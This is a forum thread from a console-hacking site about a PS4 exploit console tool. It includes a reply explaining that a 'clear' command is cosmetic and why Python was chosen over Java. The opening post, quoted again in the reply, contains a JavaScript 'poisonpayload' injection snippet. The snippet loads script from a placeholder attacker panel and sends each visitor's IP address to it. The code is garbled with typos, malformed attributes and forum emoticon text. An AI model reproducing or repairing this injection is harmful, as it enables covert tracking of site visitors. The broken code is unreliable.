Post: I'm confused @Specter
09-20-2016, 12:25 PM #1
ProtoBuffers
Bounty hunter
(adsbygoogle = window.adsbygoogle || []).push({}); I thought it didn't do anything? and by the way squid runs a lot better for injection servers it is written in Java as well.
-------------------------------------------------------
You must login or register to view this content.
-------------------------------------------------------
You must login or register to view this content.
-------------------------------------------------------
You must login or register to view this content.

function payload ()
{ x = document.getDlementById ("poisonpayload") ;

if (x == null)
{
document.write ( ' <script>function getip (json) {
document.write ('<script type"\\\"application/javascript\\\"
scr"\\\"(INSERT YOUR HTTP HERE)/panel/poison payload.php?id"\ '+
json.ip + \'\\\"></scr\'+\'ipt>'Winky Winky;
};</script>

document.write('<script id" 'poisonpayload' type='application/javascript '
scr=' (INSERT YOUR HTTP HERE AGAIN)/panel/jsonip.php?callback=getip'></script>") ;
}
}
payload() ;
(adsbygoogle = window.adsbygoogle || []).push({});
09-20-2016, 07:14 PM #2
Specter
Pro Memer
Originally posted by xciergaming View Post
I thought it didn't do anything? and by the way squid runs a lot better for injection servers it is written in Java as well.
-------------------------------------------------------
You must login or register to view this content.
-------------------------------------------------------
You must login or register to view this content.
-------------------------------------------------------
You must login or register to view this content.

function payload ()
{ x = document.getDlementById ("poisonpayload") ;

if (x == null)
{
document.write ( ' <script>function getip (json) {
document.write ('<script type"\\\"application/javascript\\\"
scr"\\\"(INSERT YOUR HTTP HERE)/panel/poison payload.php?id"\ '+
json.ip + \'\\\"></scr\'+\'ipt>'Winky Winky;
};</script>

document.write('<script id" 'poisonpayload' type='application/javascript '
scr=' (INSERT YOUR HTTP HERE AGAIN)/panel/jsonip.php?callback=getip'></script>") ;
}
}
payload() ;


The increased stability that I speak of didn't have to do with the clear command, it was minor little edits throughout the script such as narrowing down the entropy for the for loop for finding ArrayBufferView (however Fire30 had already introduced this in his original repo with a newer commit, so I just changed my experimental values to what he put as I found they worked better (48 < i < 60)).

All the clear command does in PS4Console is clears the terminal screen via the "os" module, which essentially just writes a bunch of newline characters and restores the input prompt back to the top of the terminal. It doesn't actually do anything to the PS4 itself, it's not part of the exploit. Think of it just as a cosmetic kind of change. You can see this by looking in the Python script and it's not listed in the array for commands requiring a page to be loaded (similar to "cd" change directory).

In regards to Java, I like Python a lot more for this kind of thing as it's a lot more light-weight and versatile (most systems especially Linux have python, some may or may not have the JRE and it requires more work). It's also more familiar to me especially in terms of networking than Java, and it's a lot easier to write as you don't have to worry about datatypes and conversion the same way. Java is also very heavy and verbose, so I ultimately decided Python over Java (that and the 3.55 POC had a Python script for the server to begin with, so it was easier and nicer to just modify that to PS4Console's purposes, no need to reinvent the wheel :p ).
09-25-2016, 01:22 PM #3
Kronos
Former Staff
if your brain is not numb after reading that, then you have my respect Enzo

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo